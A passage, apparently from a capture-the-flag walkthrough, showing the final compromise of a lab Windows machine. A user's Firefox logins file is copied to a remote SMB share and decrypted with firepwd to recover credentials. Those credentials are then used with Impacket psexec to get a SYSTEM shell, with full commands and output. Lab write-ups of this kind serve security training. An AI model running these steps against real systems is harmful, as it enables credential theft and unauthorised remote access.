C:\Users\natbat>copy C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\logins.json \\10.9.3.29\smb\
        1 file(s) copied.

We run the firepwd script

$ python3 firepwd.py 

....
....
....
https://creds.com:b'mayor',b'PASS

We can try using these credentials with psexec

python3 /usr/share/doc/python3-impacket/examples/psexec.py gatekeeper/mayor:[email protected] cmd.exe

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.165.175.....
[*] Found writable share ADMIN$
[*] Uploading file BrrdIOeQ.exe
[*] Opening SVCManager on 10.10.165.175.....
[*] Creating service kZEY on 10.10.165.175.....
[*] Starting service kZEY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

We’re in!!!!

Machine completed :)